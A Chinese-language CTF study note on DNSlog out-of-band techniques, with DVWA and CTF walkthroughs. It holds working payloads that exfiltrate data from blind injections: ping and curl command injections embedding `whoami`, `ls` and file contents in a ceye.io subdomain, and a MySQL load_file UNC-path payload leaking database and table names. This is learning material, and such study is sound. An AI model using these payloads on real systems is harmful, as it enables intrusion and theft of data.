dnslog利用

看wp时遇到一个无回显的ping题目 需要用到dnslog 系统学习一下

命令注入\盲打RCE(远程代码执行) -ping

基本使用

拿dvwa的命令注入举例

当发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞

这里使用知道创宇的ceye.io平台

如果是win系统 可以ping %os%.domain.cete.io

如果得到os的信息,那么就说明这里存在命令注入

类似的 ping %USERNAME%.domain.ceye.io

对我来说去ceye看就会显示Saber (懒得打码就不贴图了)

附一个windows下常用变量

如果是在linux下 (其实ctf的话对方题目一般都会部署在linux下)

可以

1
curl http://ip.port.domain.ceye.io/`whoami`

或者

1
ping `whoami`.ip.port.domain.ceye.io

这里用了一点反引号可以直接执行命令

就以curl举例 改变一些参数 如改成ls

curl http://ip.port.b182oj.ceye.io/`ls`

但是在平台上只打印出了第一列的值

要打出剩余的就要使用sed命令

sed命令作为Linux三剑客之一,功能十分强大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-n, --quiet, --silent
suppress automatic printing of pattern space
-e script, --expression=script
add the script to the commands to be executed
-f script-file, --file=script-file
add the contents of script-file to the commands to be executed
--follow-symlinks
follow symlinks when processing in place
-i[SUFFIX], --in-place[=SUFFIX]
edit files in place (makes backup if SUFFIX supplied)
-l N, --line-length=N
specify the desired line-wrap length for the `l' command
--posix
disable all GNU extensions.
-r, --regexp-extended
use extended regular expressions in the script.
-s, --separate
consider files as separate rather than as a single continuous
long stream.
-u, --unbuffered
load minimal amounts of data from the input files and flush
the output buffers more often
-z, --null-data
separate lines by NUL characters
--help display this help and exit
--version output version information and exit

需要用到这里的-n

分别
ls | sed -n ‘1p’ ls | sed -n ‘2p’ ls | sed -n ‘3p’

但还是可能会出现新的问题 就是打出来的信息可能会受到长度的限制

所以还需用到 cut 命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-b, --bytes=LIST select only these bytes
-c, --characters=LIST select only these characters
-d, --delimiter=DELIM use DELIM instead of TAB for field delimiter
-f, --fields=LIST select only these fields; also print any line
that contains no delimiter character, unless
the -s option is specified
-n (ignored)
--complement complement the set of selected bytes, characters
or fields
-s, --only-delimited do not print lines not containing delimiters
--output-delimiter=STRING use STRING as the output delimiter
the default is to use the input delimiter
-z, --zero-terminated line delimiter is NUL, not newline
--help display this help and exit
--version output version information and exit

ls | sed -n ‘3p’ | cut -c 1-5

故此可以打出任意行,任意长度的信息

happymoctf的一道盲打RCE

题目名字叫 ping一下好吗

同样利用ceye.io平台 由于题目放在Linux下 我们需要使用linux命令

直接选择数据带出

ip=whoami.domain.ceye.io

在平台发现数据成功带出

于是直接ls,为防止特殊字符无法打出,base64一下

ip=ls |base64.domain.ceye.io

即可得到

Y3NzCmV4ZWMucGhwCmdoZGYucGhwCmluZGV4Lmh0bWwK 解码

css
exec.php
ghdf.php
index.html

ip=cat ghdf.php.domain.ceye.io

看到flag

安恒2月月赛的一道题

和上面的题目非常类似

题目页面只有一个ping命令 通过robots.txt看到有 index.txt和where_is_falg.php

同样利用ceye.io平台 由于题目放在Linux下 我们需要使用linux命令

ping=‘cat where_is_falg.php|sed s/[[:space:]]//g‘.domain.ceye.io

在平台看到下一个入口

ping=‘cat xxxxxx|sed s/[[:space:]]//g‘.domain.ceye.io

在平台即可看到flag

[:space:] 匹配空白字符,包括空格,tab

官方writeup
http://forum.91ctf.com/index.php/group/topic/id-40

sql盲注

盲注的利用方法 逻辑法或者延时法

要一个字符一个字符去猜,要发送大量的get请求,

这种行为很容易被目标物理防火墙认定位是黑客行为 最终导致IP被ban

如果利用dnsLog来获取信息,既高效又避免这种情况发生

mysql中load_file()函数可以用来发送dns解析请求

利用payload: load_file(concat(‘\\‘,(select database()),’.domain.ceye.io\a.txt’))

例如
/?id=1’ and if(select load_file(concat(‘\\‘,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’.domain.ceye.io\a.txt’))),1,1) –+

后来我才知道用dnslog辅助盲注的方法就是17hctf第二个web里说的oob (Out-of-Band 攻击)

不过那道题还要加上 sql server 的 openquery 函数

参考文章

http://skysec.top/2017/12/29/Time-Based-RCE/
http://www.mottoin.com/93274.html
https://bbs.ichunqiu.com/thread-22002-1-1.html